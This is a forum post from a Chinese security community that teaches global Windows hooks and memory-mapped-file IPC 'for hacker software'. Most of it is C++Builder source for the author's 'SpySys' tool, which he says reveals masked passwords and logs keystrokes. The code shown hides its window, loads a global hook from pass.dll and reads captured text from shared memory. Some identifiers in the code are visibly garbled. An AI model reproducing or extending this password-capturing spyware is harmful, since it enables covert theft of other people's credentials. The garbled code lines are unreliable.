20CN网络安全小组第一代论坛
发表新主题  发表回复

个人资料 | 社区目录 用户登录 | | 论坛搜索 | 常见问题 | 论坛主页
  下一个最老的主题   下一个最新的主题
» 20CN网络安全小组第一代论坛   » 电 脑 技 术   » 编程破解   » 系统编程阶进

   
作者 标题: 系统编程阶进
病毒
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
组织推荐
第 63 篇

系统编程阶进

主页: http://www.intellecpro.com/jiasys/myprogram.htm
作者:病毒 发表于 《绿色兵团》

在一些黑客软件编写中,要求编写者对系统机制和特性有一定深度的了解,
下面就针对这些机制在某些黑客软件中的应用讲述下实现过程,并给出了
一个实列。

系统钩子:

如一些黑客程序,获取*号密码,记录键盘获取密码等,首先都要用SetWindowsHook
Ex函数,且最后一个参数为0,安装全局HOOK。钩住相应消息,需要在HOOK的CALLBACK函数中
完成功能,然后系统自动将包含“钩子CALLBACK函数”的DLL映射到受钩子函数影响的所有进程的
地址空间中,即将这个DLL注入了那些进程。HOOK可以看做是扩充中断驱动程序,HOOK可以有多个CALLBACK函数构成一个钩子函数链。系统的各种消息首先被送到各种HOOK函数,再HOOK函数中根据各自的功能对消息进行监视、和控制。


进程通讯:

众所周知,在WIN32下当一个进程被创建时,系统为他分配4GB的私有地址空间
其他进程无法用到其中数据,但有些时候又需要共享数据来完成特定工作,由此
引出了进程通讯的概念。WIN32下给出了一些进程通讯的方法,如COM,DDE,剪贴版
邮槽等。在本地无论何种方法最终都将被转为以内存映射文件形式实现。因为此方法
相对来说最底层也就最高效,尤其在大量文件I/O方面更能体现出其优越性。


下面给出俺写的SpySys程序的完整实列演示一下实现方法,其中包括了DLL编程,Tary编程, 拦截WIN消息,HOOK编程,内存映射,进程通讯编程。实现的功能有,显示带"****"号的隐藏密码,记
录键盘获取密码,捕获系统消息,这个程序还包含了很多常用技巧,对于刚入道的朋友,读懂了这个程序会在很大程度上提高你WIN下编程水平,和对系统机制的了解。

//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
USERES("passok.res");
USEFORM("onpass.cpp", Form1);
USEFORM("About.cpp", Form2);
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
//利用互斥,防止多个程序运行
HANDLE hMutex=CreateMutex(NULL,TRUE,"GetSys_Run");
if(hMutex==NULL||GetLastError() == ERROR_ALREADY_EXISTS)
{
ShowMessage("程序已经运行");
CloseHandle(hMutex);
return FALSE;
}
Application->Initialize();
//隐藏主窗体
ShowWindow(Application->Handle,SW_HIDE);
Application->ShowMainForm=false;

Application->CreateForm(__classid(TForm1), &Form1);
Application->CreateForm(__classid(TForm2), &Form2);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
//---------------------------------------------------------------------------


//---------------------------------------------------------------------------
#ifndef onpassH
#define onpassH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
#include <Menus.hpp>
#include <Buttons.hpp>

//缓冲区大小
#define PASSWORD_SIZE 255
//托盘消息
#define MYWM_NOTIFY (WM_APP+100)
//进程通讯消息
#define WM_PASSDATA (WM_USER+100)

//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
TPopupMenu *PopupMenu1;
TMenuItem *N1;
TMenuItem *N2;
TMenuItem *N3;
TMenuItem *N4;
TImage *Image1;
TLabel *Label2;
TMenuItem *N5;
TMenuItem *N6;
TEdit *Edit1;
TLabel *Label3;
void __fastcall N1Click(TObject *Sender);
void __fastcall N2Click(TObject *Sender);
void __fastcall N3Click(TObject *Sender);
void __fastcall FormCreate(TObject *Sender);
void __fastcall FormDestroy(TObject *Sender);
void __fastcall N4Click(TObject *Sender);
void __fastcall Button1Click(TObject *Sender);

private: // User declarations

//处理托盘函数定义
void __fastcall TForm1::AddTrayIcon();
void __fastcall TForm1::RemoveTrayIcon();
void __fastcall TForm1:nDispPassWord(TMessage &Message);

//处理进程通讯函数
void __fastcall TForm1:nPassData(TMessage &Message);

//定义安装 ,卸栽钩子函数指针
BOOL (WINAPI *install_hook)(HWND hWnd);
BOOL (WINAPI *uninstall_hook)();

HANDLE hFileMap;
LPVOID pMem;

public: // User declarations
__fastcall TForm1(TComponent* Owner);

//托盘,进程通讯消息映射
BEGIN_MESSAGE_MAP
MESSAGE_HANDLER(MYWM_NOTIFY,TMessage,OnDispPassWord)
MESSAGE_HANDLER(WM_PASSDATA,TMessage,OnPassData)
END_MESSAGE_MAP(TForm)
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif

//----------------------------------------------------------------
// 系统捕获器
//
// 作者:贾佳
// jiasys@21cn.com
//----------------------------------------------------------------

#include <vcl.h>
#include <ShellApi.hpp>
#pragma hdrstop

#include "onpass.h"
#include "About.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}

//---------------------------------------------------------------------------
// SetToolWindow
//
// 设置当前窗体属性,不在任务栏出现
//---------------------------------------------------------------------------

void SetToolWindow(HANDLE hWin)
{
DWORD dwStyle;
dwStyle=GetWindowLong(hWin,GWL_EXSTYLE);
dwStyle|=WS_EX_TOOLWINDOW;
SetWindowLong(Application->Handle,GWL_EXSTYLE,dwStyle);
}

//---------------------------------------------------------------------------
// AddTrayIcon
//
// 添加系统托盘
//---------------------------------------------------------------------------

void __fastcall TForm1::AddTrayIcon()
{
NOTIFYICONDATA icon;
icon.cbSize=sizeof(NOTIFYICONDATA);
icon.hWnd=Handle;
icon.uID=200;
strncpy(icon.szTip,"系统捕获器",sizeof(icon.szTip));
icon.hIcon=Application->Icon->Handle;
icon.uCallbackMessage=MYWM_NOTIFY;
icon.uFlags=NIF_MESSAGE|NIF_ICON|NIF_TIP;
Shell_NotifyIcon(NIM_ADD,&icon);
}

//---------------------------------------------------------------------------
// AddTrayIcon
//
// 删除系统托盘
//---------------------------------------------------------------------------

void __fastcall TForm1::RemoveTrayIcon()
{
NOTIFYICONDATA icon;
icon.cbSize=sizeof(NOTIFYICONDATA);
icon.uID=200;
icon.hWnd=Handle;
Shell_NotifyIcon(NIM_DELETE,&icon);
}

//---------------------------------------------------------------------------
// OnDispPassWord
//
// 相应系统托盘消息,显示菜单
//---------------------------------------------------------------------------
void __fastcall TForm1:nDispPassWord(TMessage &Message)
{
POINT p;
switch(Message.LParam)
{
//鼠标右键单击
case WM_RBUTTONUP:
Form2->Hide();
//获取坐标
GetCursorPos(&p);
//当前位置显示菜单
PopupMenu1->PopupComponent=Form1;
SetForegroundWindow(Handle);
PopupMenu1->Popup(p.x,p.y);
break;

//鼠标左键双击
case WM_LBUTTONDBLCLK:
//设置窗体
SetToolWindow(Handle);
Form2->Show();
break;
}
TForm:ispatch(&Message);
}

//---------------------------------------------------------------------------
// OnPassData
//
// 读取内存映射文件,并显示
//---------------------------------------------------------------------------

void __fastcall TForm1:nPassData(TMessage &Message)
{
//打开文件
hFileMap=CreateFileMapping((HANDLE)0xFFFFFFFF,NULL,PAGE_READWRITE,0,PASSWORD_SI
ZE,"Share_Memory_JiaJia");
if(hFileMap==NULL)
{
CloseHandle(hFileMap);
ShowMessage("打开内存映射文件错误");
}
//读取
pMem=MapViewOfFile(hFileMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
if(pMem==NULL)
{
CloseHandle(hFileMap);
UnmapViewOfFile(pMem);
ShowMessage("读取存映射文件错误");
}
//显示
Edit1->Text=(LPCTSTR)pMem;
UnmapViewOfFile(pMem);
CloseHandle(hFileMap);

TForm:ispatch(&Message);
}

//---------------------------------------------------------------------------
// N1Click
//
// 调用pass.dll安装全局钩子
//---------------------------------------------------------------------------

void __fastcall TForm1::N1Click(TObject *Sender)
{
//动态调用
HINSTANCE DLLinst=LoadLibrary("pass.dll");
if(DLLinst)
{
//获取函数地址
install_hook=(BOOL(WINAPI *)(HWND hWnd))
GetProcAddress(DLLinst,"install_hook");
if(install_hook)
{
//传句并
install_hook(this->Handle);
N1->Checked=true;
N1->Enabled=false;
N2->Checked=false;
Label2->Caption="系统捕获器\n正在运行...";
Image1->Picture->Icon->Handle=Application->Icon->Handle;
Show();
}
else
{
ShowMessage("安装钩子失败");
FreeLibrary(DLLinst);
}
}
else ShowMessage("调用pass.dll失败");
}

//---------------------------------------------------------------------------
// N2Click
//
// 卸栽全局钩子
//---------------------------------------------------------------------------

void __fastcall TForm1::N2Click(TObject *Sender)
{
HINSTANCE DLLinst=LoadLibrary("pass.dll");
if(DLLinst)
{
uninstall_hook=(BOOL(WINAPI *)())
GetProcAddress(DLLinst,"uninstall_hook");
if(uninstall_hook)
{
uninstall_hook();
Hide();
Edit1->Text="";
N2->Checked=true;
N1->Checked=false;
N1->Enabled=true;
FreeLibrary(DLLinst);
}
else ShowMessage("卸载钩子失败");
}
else ShowMessage("调用pass.dll失败");
}
//---------------------------------------------------------------------------

void __fastcall TForm1::N3Click(TObject *Sender)
{
//终止程序
Application->Terminate();
}

//---------------------------------------------------------------------------
// FormCreate
//
// 判断pass.dll是否存在
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
HINSTANCE DLLinst=LoadLibrary("pass.dll");
if(DLLinst)
{
FreeLibrary(DLLinst);
AddTrayIcon();
}
else
{
ShowMessage("pass.dll无法载入,请确认是否再同一目录内!");
Application->Terminate();
}
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormDestroy(TObject *Sender)
{
RemoveTrayIcon();
}
//---------------------------------------------------------------------------


void __fastcall TForm1::N4Click(TObject *Sender)
{
SetToolWindow(Handle);
Form2->Show();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)
{
Hide();
}
//---------------------------------------------------------------------------

IP: 已记录

 
发表新主题  发表回复 关闭主题 突出主题 移动主题 删除主题 下一个最老的主题   下一个最新的主题
 - 适于打印的主题视图
转到:
联系我们 | 20CN网络安全小组

Powered by Infopop Corporation
UBB.classic™ 6.5.0
NetDemon修改版 1.5.0, 20CN网络安全小组 版权所有。